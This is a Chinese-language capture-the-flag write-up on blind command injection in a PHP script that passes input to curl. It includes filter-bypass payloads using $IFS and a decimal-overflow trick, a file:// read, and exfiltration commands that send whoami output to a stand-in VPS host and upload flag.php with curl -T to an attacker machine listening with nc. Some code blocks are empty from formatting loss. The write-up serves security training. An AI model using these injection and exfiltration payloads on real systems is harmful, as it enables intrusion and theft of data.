常见命令执行
1 | system("curl $cmd"); |
用上面php代码为例, 存在命令执行,由于没有回显,需要自己搭建服务器接收数据,这里就不过多叙述。常用命令执行有: `
, $()
, 如:
1 | curl vps.com/`whoami` |
CTF实例
1 |
|
思路
num参数判断
get传递的num参数需要==1,但是又经过strstr()函数,即num中不能存在1,这里利用php特性,0.99999999999999就会产生小数下标溢出为1,即可绕过第一步;
cmd参数过滤
curl$cmd/flag.php
,curl紧贴cmd参数,中间没有空格
1 | trim()函数过滤了cmd两端的空格,可以用 $IFS 绕过, |
%
过滤了,不能利用%0a
换行符来绕过;;
分号,&
逻辑与,|
逻辑或,都过滤掉了。
读flag内容
- 利用
file
协议
1 | http://192.168.1.101/index.php?num=0.99999999999999999999&cmd=$IFSfile:///$PWD |
file协议常见格式如下:
1 | # *nix |
另外:$PWD
要大写,因为在PHP中内核常量必须要求大写;php中file协议
读取出来的文件内容会放到网页源代码中,右键查看源代码即可看到内容。
但是这种方式不适合本题, 题目过滤了/
。
- curl -T 上传文件到主机并通过监听来获取文件内容
curl不仅仅可以下载文件,还可以上传文件,通过内置option -T
来实现, 这就可以利用curl的这个功能来将文件PUT上传给我们的主机,由于PUT method是HTTP的,所以主机需要支持web服务,然后带上端口, 由于题目过滤了:
,于是只能使用80端口了。
1 | http://192.168.1.101/index.php?num=0.99999999999999999999&cmd=$IFS-T flag.php -a your_vps_ip |
然后再vps上监听80端口nc -lvv 80
,即可拿到文件内容
1 | root@iZbyhbtw2xco3tZ:~# nc -lvv 80 |
后记
IFS变量,IFS是internal field separator的缩写,shell的特殊环境变量。ksh根据IFS存储的值,可以是空格、tab、换行符或者其他自定义符号,来解析输入和输出的变量值